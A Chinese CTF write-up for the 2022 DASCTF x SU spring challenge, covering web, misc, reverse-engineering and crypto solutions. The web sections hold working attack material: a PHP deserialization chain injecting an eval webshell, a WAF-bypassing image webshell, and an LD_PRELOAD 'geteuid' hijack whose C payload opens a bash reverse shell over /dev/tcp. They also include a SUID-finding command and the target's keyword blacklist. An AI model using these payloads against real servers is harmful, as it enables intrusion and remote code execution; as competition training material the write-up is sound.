本文来自“白帽子社区知识星球”-原创文章
作者:WHT战队
WHT战队招新:
-
WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。
-
有半年以上CTF竞赛经验的。
-
包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。
-
加分项:有一年以上CTF竞赛经验的各方向CTFer。
有意向的师傅请扫描二维码联系我们
ezpop
普通的phppop链构造
payload:
<?php
class crow
{public $v1 ;public $v2;}
class fin
{public $f1;}
class what
{public $a;}
class mix
{public $m1;}
$c=new crow();
$fa=new fin();
$fb=new fin();
$w=new what();
$m = new mix();
$mb = new mix();
$mb->m1='%0a%0d@eval($_POST["c"]);'; //该处反序列化后长度手动-4,并且url解码
$fb->f1=$mb;
$c->v1=$fb;
$m->m1=$c;
$w->a=$m;
$fa->f1 = $w;
echo urlencode(serialize($fa));
最终的payload:
cmd=O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"mix":1:{s:2:"m1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:21:"
@eval($_POST["c"]);";}}s:2:"v2";N;}}}}&c=system('cat H0mvz850F.php');
upgdstore
进入题目发现是一个上传,随便上传了一下,有waf,而且还不少,但是允许上传php文件,而且会返回路径,可以直接访问
0x01 绕过waf,利用gd库getshell
多次测试后发现应该是白名单,上传敏感关键字会提示它发现你了
尝试截断绕过,成功!
发现了打比赛以来遇见的最长的disable_functions
基本上能用的都被禁用了
但是仔细看会发现putenv和mail()函数还没有被禁用
而且show_source也没有被禁用
应该是加载恶意.so文件绕过disable_functions了
接下来一切都像这边靠拢,但是大部分本土函数都被禁用了,找不到利用的点
只能看有没有什么拓展可以利用
继续查看phpinfo()
发现gd库开启,并且没有被disable_functions禁用
简单介绍一下gd库
简单来说就是可以利用gd库远程获取图片,并且可以修改后缀名保存到当前目录
但是会被二次渲染,也就是说只要有一张绕过二次渲染的图片马,再挂载到自己的vps上,就可以成功getshell
拿本地自己的环境构造图片马
构造了一个下午,构造出来了,真的是废了九牛二虎之力
简单说一下原理就是,当一张图片经过二次渲染之后,winhex中十六进制还未改变的地方,就是二次渲染的空白区,但是这个也看运气,有个时候改的代码多了,好像渲染算法就又改变了
市面上的各种脚本没找到靠谱的,干脆自己手撸
上传pd库代码,访问我们的vps,植入包含
在这个地方我突然想到一个小tirck,还没有去验证
我们知道gif、jpg、png都是压缩格式,但是bmp不是,如果pd的二次渲染是因为压缩导致的,如果我们用bmp,会不会就会完美植入我们的代码,但是当我反应过来的时候图片马已经做完了,不管是不是我都要用这个耗费了我一个下午的大宝贝
访问没报错
那就是可以了
接下来就是利用包含getshell
由于有waf,直接上传一个base64的一句话,然后用图片马伪协议包含执行
http://8507be79-eeb5-418e-95b9-801bb96f951d.node4.buuoj.cn:81/uploads/3.php?A=php://filter/convert.base64-decode/resource=2b8b8e5570101ff79e9f1bb2967a0833.php
成功getshell,也就是说目前已经完全绕过了waf
0x02 上传so文件,利用环境变量注入bypass disable_functions
拿shell之后的很长一段时间,我都在想禁用了那么多函数我该怎么写入恶意.so文件,一直在想办法,但是感觉常规的都不好用
但我偏偏忘记了最简单的办法,既然show_source没有被禁用
那我就看看它是用什么上传的,然后我模仿它上传不久好了
思维僵化的属于是
然后直接读取页面源代码
show_source("../index.php");别忘记是当前环境的上一级
#index.php
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
嘿伙计,传个火?!
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
$blacklist = ["$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
error_reporting(0);
// 设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
可以看到file_get_contets();没有被禁用
最重要的是move_uploaded_file();也没有,我们直接模仿它的格式进行上传
在上传文件的同时
利用shell执行move_uploaded_file($_FILES['upload_file']['tmp_name'],'xx.so')就可以写入恶意so文件反弹shell了。
思路有了,接下来直接构造恶意.so文件
由于调用的是mail();函数,mail函数会加载动态链接库中的geteuid();函数,所以我们要伪装的函数就是geteuid();再用putenv伪造恶意动态链接库,执行恶意函数,叫函数挟持函数挟持就是这个原因
恶意.c文件如下:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
编译成so文件
gcc xxx.c -o xxx.so -shared -fPI
于是接下来上传文件具体payload如下
/uploads/3.php?A=php://filter/convert.base64-decode/resource=2b8b8e5570101ff79e9f1bb2967a0833.php&1=move_uploaded_file($_FILES['upload_file']['tmp_name'],'www')
此时我们上传的任意文件都会被move_uploaded_file($_FILES['upload_file']['tmp_name'],'xxx')直接写入到当前目录
可以访问可以下载,接下来就是利用函数挟持了!
但是,失败失败又失败,shell就是弹不出来
我一度认为是自己反弹shell的姿势不对,或者so文件编写错误了
但是都没有
后来一个师傅和我说,用bp交下载表单有个时候就是会抽风,造成so文件不完整,所以不对劲
所以这个地方最好还是自己写个前端交过去
由于我这个地方bp抽风卡了我三四个小时一度怀疑人生,所以我还是建议为了避免这种蜜汁错误还是自己写一个前端直接提交恶意so文件
直接复制题目前端的,有点随意,但无所谓,能用就行
访问验证发现上传成功,vps开启监听
构造payload
1=putenv("LD_PRELOAD=/var/www/html/uploads/aaaaa.so");mail("","","","","");
执行,反弹成功
发现flag在根目录
cat读取发现没有权限,第一反应是要提权
被大师傅提醒了一句不用这么麻烦
用nl直接随手一测结果读出来了啊这
但这应该不是预期解
后面看了套神博客
find / -user root -perm -4000 -print 2>/dev/null
发现流程应该是要查看SUID的命令
然后发现nl高权,再用nl去读flag才对
但是也算解出来了,还是开心的
月圆之夜
根据提供的图片,google图片搜索发现关键词:Daedric language
找张对比图,比对一下即可得到flag
DASCTF{welcometothefullmoonnight}
Hi!Hecker!
hint:
一个很久没见的协议
分析tcp流,可发现发送了一个 jenkins_secret.zip
另外存在大量icmp包,每个icmp包都带有一段data,
icmpcontains "PK"
可发现sequence number 异常的八个包, seq=1 的包中含有zip文件头,猜测按照seq排序拼接压缩包的字节流
Tshark提取
root@mochu7-pc:/mnt/c/Users/Administrator/Downloads/Hi!Hecker!# tshark -r DASCTF.pcapng -T fields -e data -Y "icmp.seq==1" > data.txt
Running as user "root" and group "root". This could be dangerous.
root@mochu7-pc:/mnt/c/Users/Administrator/Downloads/Hi!Hecker!# tshark -r DASCTF.pcapng -T fields -e data -Y "icmp.seq==2" >> data.txt
Running as user "root" and group "root". This could be dangerous.
root@mochu7-pc:/mnt/c/Users/Administrator/Downloads/Hi!Hecker!# tshark -r DASCTF.pcapng -T fields -e data -Y "icmp.seq==3" >> data.txt
Running as user "root" and group "root". This could be dangerous.
root@mochu7-pc:/mnt/c/Users/Administrator/Downloads/Hi!Hecker!# tshark -r DASCTF.pcapng -T fields -e data -Y "icmp.seq==4" >> data.txt
Running as user "root" and group "root". This could be dangerous.
root@mochu7-pc:/mnt/c/Users/Administrator/Downloads/Hi!Hecker!# tshark -r DASCTF.pcapng -T fields -e data -Y "icmp.seq==5" >> data.txt
Running as user "root" and group "root". This could be dangerous.
root@mochu7-pc:/mnt/c/Users/Administrator/Downloads/Hi!Hecker!# tshark -r DASCTF.pcapng -T fields -e data -Y "icmp.seq==6" >> data.txt
Running as user "root" and group "root". This could be dangerous.
root@mochu7-pc:/mnt/c/Users/Administrator/Downloads/Hi!Hecker!# tshark -r DASCTF.pcapng -T fields -e data -Y "icmp.seq==7" >> data.txt
Running as user "root" and group "root". This could be dangerous.
root@mochu7-pc:/mnt/c/Users/Administrator/Downloads/Hi!Hecker!# tshark -r DASCTF.pcapng -T fields -e data -Y "icmp.seq==8" >> data.txt
Running as user "root" and group "root". This could be dangerous.
root@mochu7-pc:/mnt/c/Users/Administrator/Downloads/Hi!Hecker!
然后对提取出来的data.txt进行处理,每个seq number都有两段一样的数据,去重,然后去掉头部的非zip数据以及尾部的非zip数据,对比下即可,因为每个包头尾都有相同的部分就是
from binascii import *
with open('data.txt', 'r') as f:
lines = f.readlines()
lines = [lines[n] for n in range(len(lines)) if n%2 == 0]
hex_data = ""
for line in lines:
hex_data += line[32:len(line)-17].strip()
with open('jenkins_secret.zip', 'wb') as f1:
f1.write(unhexlify(hex_data)
Jenkins凭证提取:https://woshishagua.com/?p=388
Jenkins-Decrypt :https://github.com/tweksteen/jenkins-decrypt
得到Esonhugh/secret_source_code 仓库的私钥
可直接导成SSH私钥 id_rsa ,需要注意的是,导成文件之后使用 010 Editor 查看下换行的地方,如果是 0D 0A 的话,每个换行的地方把 0D去掉
启动ssh-agent
打开Git Bash,执行以下命令启动ssh-agent
ssh-agent -s
Note:
使用msysgit Bash on Windows时,需要执行下面的命令才能成功启动。否则接下来使用ssh-add时会出现Could not open a connection to your authentication agent的错误。
使用:eval `ssh-agent -s`或eval $(ssh-agent -s)
将密钥添加到ssh-agent
ssh-add ./id_rsa
然后通过SSH的方式clone仓库:
git [email protected]:/Esonhugh/secret_source_code.git
仓库里没找到flag, git log 查看历史, git reset --hard [commit id] 还原历史版本, upload flag 还原之后发现也没flag,继续查看,在提交 source 的文件里面发现了flag。
DASCTF{Oh!_H4ck_f0r_c0d3s-and_4buse_1t}
书鱼的秘密
hint
233是书鱼最喜欢的数字了。难道你还疑惑吗
致亲爱的CTFer:
书鱼很久之前就把他的女神照片嵌在这音频里面了,
这样书鱼每次听到这首歌的时候就能通过捕获其图片数据来看到他女神了
你看,她在随着音乐而翩翩起舞,多么美丽,书鱼又露出了他痴汉似的笑容
(233
不过在图片里面,似乎又藏着书鱼更深处的密码
亲爱的CTFer,
来吧,快来找到书鱼的秘密!
这样你就能拿到你最爱的flag了
书鱼的多重文件.wav使用010 Editor打开,很容易发现data段的异常(可对比正常的wav文件data段)。从data之后的第二个 k 之后开始,每隔10个字节,有一个字节的数据,其余的都是填充,混淆之类的数据。
先随意提取前几个字节出来,尝试通过寻找,对比文件头是什么类型的数据,无果,联系到提示又一遍强调了 233 这个数字,便尝试把前几个字节提取出来与 233 异或。发现最终结果是png字节流文件尾的逆序。
那么即可尝试编写脚本,将这些数据提取出来,异或,然后逆序重新写入成png
from binascii import *
data = ''
with open('书鱼的多重文件.wav', 'rb') as f:
with open('flag.png', 'wb') as f1:
for idx in range(0x9e, len(f.read()), 10):
f.seek(idx)
data += '{:02x}'.format(ord(f.read(1)) ^ 233)
data = data[::-1]
for i in range(0, len(data), 2):
hex_data = data[i:i+2][::-1]
f1.write(unhexlify(hex_data))
得到的png图片无法正常显示,binwalk分析发现,文件前部分都是无效数据,png图片被附加在了这些无效数据之后,foremost分离即可
得到可正常显示的图片,stegsolve例行检查
发现其余的颜色通道都看起来正常,但是当处于blue通道时,图片上端貌似有一些数据
Stegsolve的Data Extract查看并不像隐写了文件数据,猜测应该是对颜色动了手脚,使用 PS 打开,发现图片的前两行像素确实颜色一场,查看blue通道的数值,发现是 50 的十进制。继续提取前几个像素的blue数值,发现是 50 4B 03 04 的zip文件头。
编写脚本提取blue通道数值并转换写成zip文件
from PIL import Image
from binascii import *
img = Image.open('flag.png')
width, height = img.size
with open('flag.zip', 'wb') as f:
for h in range(2):
for w in range(width):
blue = '{:02x}'.format(img.getpixel((w, h))[2])
f.write(unhexlify(blue)
得到 书鱼的回忆.md
需要通过下面这些数据分析出手机号
2262321
234426478261
5288423
58936268743
463422
64437421
4733232
244621-2
66262
354268843
3782867425 4846322
2654842 3
2376832 0-3
52726 1
左边的这些一串串数字,没有 0 、 1 又是一串串的,一开始很自然的以为是 DTMF Number ,不过在尝试了之后发现解出来的数据很乱,不像是正确的思路。但是经常用输入法九键的人,应该会有所觉察,尝试了 226232 发现是 Canada ,加拿大?
继续用九键输入,解码出左边这些数字串,发现都是国家的英文名称,但是右边的数据作用还没有体现,线索关键词:国家?手机号码?,尝试了查找这些国家的手机号码的国际区号。
国际手机号码开头,区号:
https://cwlwxr.github.io/s3n62u57_/
发现这些国家的区号代码,都有一至三四位数字,对应右边的数字,猜测右边的数字就是这些国家地区的区号代码下标,即得到:
2262321=>1
Canada
234426478261=>9
Afghanistan
5288423=>1
Latvia
58936268743=>2
Luxembourg
463422=>1
India
64437421=>2
Nigeria
4733232=>0
Greece
244621-2=>86
China
66262=>6
Oman
354268843=>3
Djibouti
3782867425 4846322=>4
Equatorial Guinea
2654842 3=>1
Bolivia
2376832 0-3=>-440
Bermuda
52726 1=>8
Japan
1912120866341-440
>>> import hashlib
>>> hashlib.md5('1912120866341-4408'.encode()).hexdigest()
'4d1a3568b2a81c7d958892bf100b3f15
DASCTF{4d1a3568b2a81c7d958892bf100b3f15}
Easyre
查壳,Aspack,用stripper直接脱壳,看到关键代码,动态调试得到dword_492940的值
int __cdecl sub_401771(char *Str)
{
int v2[50]; // [esp+1Ch] [ebp-DCh] BYREF
int v3; // [esp+E4h] [ebp-14h]
int j; // [esp+E8h] [ebp-10h]
int i; // [esp+ECh] [ebp-Ch]
v3 = strlen(Str);
sub_401500();
sub_40152B();
sub_401593();
sub_401619(Str, v3);
for ( i = 0; i < v3; ++i )
byte_492A60[i] = (LOBYTE(dword_492940[i]) ^ Str[i]) + 71;
memset(v2, 0, sizeof(v2));
v2[0] = -61;
v2[1] = -128;
v2[2] = -43;
v2[3] = -14;
v2[4] = -101;
v2[5] = 48;
v2[6] = 11;
v2[7] = -76;
v2[8] = 85;
v2[9] = -34;
v2[10] = 34;
v2[11] = -125;
v2[12] = 47;
v2[13] = -105;
v2[14] = -72;
v2[15] = 32;
v2[16] = 29;
v2[17] = 116;
v2[18] = -47;
v2[19] = 1;
v2[20] = 115;
v2[21] = 26;
v2[22] = -78;
v2[23] = -56;
v2[24] = -59;
v2[25] = 116;
v2[26] = -64;
v2[27] = 91;
v2[28] = -9;
v2[29] = 15;
v2[30] = -45;
v2[31] = 1;
v2[32] = 85;
v2[33] = -78;
v2[34] = -92;
v2[35] = -82;
v2[36] = 123;
v2[37] = -84;
v2[38] = 92;
v2[39] = 86;
v2[40] = -68;
v2[41] = 35;
for ( j = 0; j <= 41; ++j )
{
if ( v2[j] != byte_492A60[j] )
exit(0);
}
return sub_47BAB0((int)&dword_488140, aRight);
}
简单脚本跑一下就可以了
c=[56, 0, 0, 0, 120, 0, 0, 0, 221, 0,
0, 0, 232, 0, 0, 0, 0, 0, 0, 0,
175, 0, 0, 0, 191, 0, 0, 0, 58, 0,
0, 0, 107, 0, 0, 0, 251, 0, 0, 0,
184, 0, 0, 0, 12, 0, 0, 0, 133, 0,
0, 0, 53, 0, 0, 0, 92, 1, 0, 0,
173, 0, 0, 0, 230, 0, 0, 0, 0, 0,
0, 0, 224, 0, 0, 0, 138, 0, 0, 0,
29, 0, 0, 0, 189, 0, 0, 0, 70, 1,
0, 0, 210, 255, 255, 255, 43, 0, 0, 0,
0, 0, 0, 0, 21, 0, 0, 0, 36, 0,
0, 0, 198, 0, 0, 0, 173, 0, 0, 0,
161, 0, 0, 0, 201, 0, 0, 0, 123, 0,
0, 0, 18, 0, 0, 0, 40, 0, 0, 0,
0, 0, 0, 0, 5, 0, 0, 0, 0, 0,
0, 0, 114, 0, 0, 0, 62, 0, 0, 0,
16, 0, 0, 0, 161, 0, 0, 0]
print(len(c))
v2=[0]*42
v2[0]=-61
v2[1]=-128
v2[2]=-43
v2[3]=-14
v2[4]=-101
v2[5]=48
v2[6]=11
v2[7]=-76
v2[8]=85
v2[9]=-34
v2[10]=34
v2[11]=-125
v2[12]=47
v2[13]=-105
v2[14]=-72
v2[15]=32
v2[16]=29
v2[17]=116
v2[18]=-47
v2[19]=1
v2[20]=115
v2[21]=26
v2[22]=-78
v2[23]=-56
v2[24]=-59
v2[25]=116
v2[26]=-64
v2[27]=91
v2[28]=-9
v2[29]=15
v2[30]=-45
v2[31]=1
v2[32]=85
v2[33]=-78
v2[34]=-92
v2[35]=-82
v2[36]=123
v2[37]=-84
v2[38]=92
v2[39]=86
v2[40]=-68
v2[41]=35
print(v2)
f=''
for i in range(42):
f+=chr(((v2[i]-71)^c[i*4])&0xff)
print(f)
DASCTF{Welc0me-t0-j01n-SU-l0ve-suyug1eg1e}
FlowerCipher
# python3
from secret import flag
import random
# flag = b'flag{%s}' % md5(something).hexdigest()
# note that md5 only have characters 'abcdef' and digits
def Flower(x, key):
flower = random.randint(0, 4096)
return x * (key ** 3 + flower)
flag = flag[5:-1]
rounds = len(flag)
L, R = 1, 0
for i in range(rounds):
L, R = R + Flower(L, flag[i]), L
print(L, R)
'''
15720197268945348388429429351303006925387388927292304717594511259390194100850889852747653387197205392431053069043632340374252629529419776874410817927770922310808632581666181899 139721425176294317602347104909475448503147767726747922243703132013053043430193232376860554749633894589164137720010858254771905261753520854314908256431590570426632742469003
,,,
分析题目逻辑,读取flag中的字符值做三次方乘以1到4096的随机数,共重复32次,并对结果进行累乘处理。flag内部为md5值,所以只由以下部分组成
0123456789abcdef
分别输出三次方查看,各个字符做三次方之后的差值大于4096,即可进行复原
a = []
for i in b"0123456789abcdef":
a.append(i ** 3)
print(a)
# a = [110592, 117649, 125000, 132651, 140608, 148877, 157464, 166375, 175616, 185193, 912673, 941192, 970299, 1000000, 1030301, 1061208, 9999999999999]
exp:
a = []
for i in b"0123456789abcdef":
a.append(i ** 3)
print(a)
# a = [110592, 117649, 125000, 132651, 140608, 148877, 157464, 166375, 175616, 185193, 912673, 941192, 970299, 1000000, 1030301, 1061208, 9999999999999]
a = [110592, 117649, 125000, 132651, 140608, 148877, 157464, 166375, 175616, 185193, 912673, 941192, 970299, 1000000, 1030301, 1061208, 9999999999999]
key = '0123456789abcdef'
flag = ''
L = 15720197268945348388429429351303006925387388927292304717594511259390194100850889852747653387197205392431053069043632340374252629529419776874410817927770922310808632581666181899
R = 139721425176294317602347104909475448503147767726747922243703132013053043430193232376860554749633894589164137720010858254771905261753520854314908256431590570426632742469003
for i in range(32):
num = L//R
for j in range(len(a)):
if a[j] > num:
# print(j-1)
flag = key[j-1] + flag
break
l = R
r = L - R * num
R = r
L = l
# print(L, R)
print("flag{" + flag + "}")
# flag{3e807b66ef26d38e671ddcbb9c108250}
思路二
手算了一下,倒着算
L=15720197268945348388429429351303006925387388927292304717594511259390194100850889852747653387197205392431053069043632340374252629529419776874410817927770922310808632581666181899
R=139721425176294317602347104909475448503147767726747922243703132013053043430193232376860554749633894589164137720010858254771905261753520854314908256431590570426632742469003
def decode(c):
s='1234567890abcdefghijklmnopqrstuvwxyz'
for i in range(4096):
if round(round(pow((c-i),1/3),7)%1)==0:
a=i
t=chr(int(round(pow((c-a),1/3),0)))
if t in s:
f=t
return f
#decode(c)
f=''
for i in range(32):
r=L%R
C=(L-r)/R
f+=decode(C)
L=R
R=r
print("flag{"+f[::-1]+"}")
flag{3e807b66ef26d38e671ddcbb9c108250}
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼
原文始发于微信公众号(白帽子社区):2022DASCTF x SU 三月春季挑战赛 WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论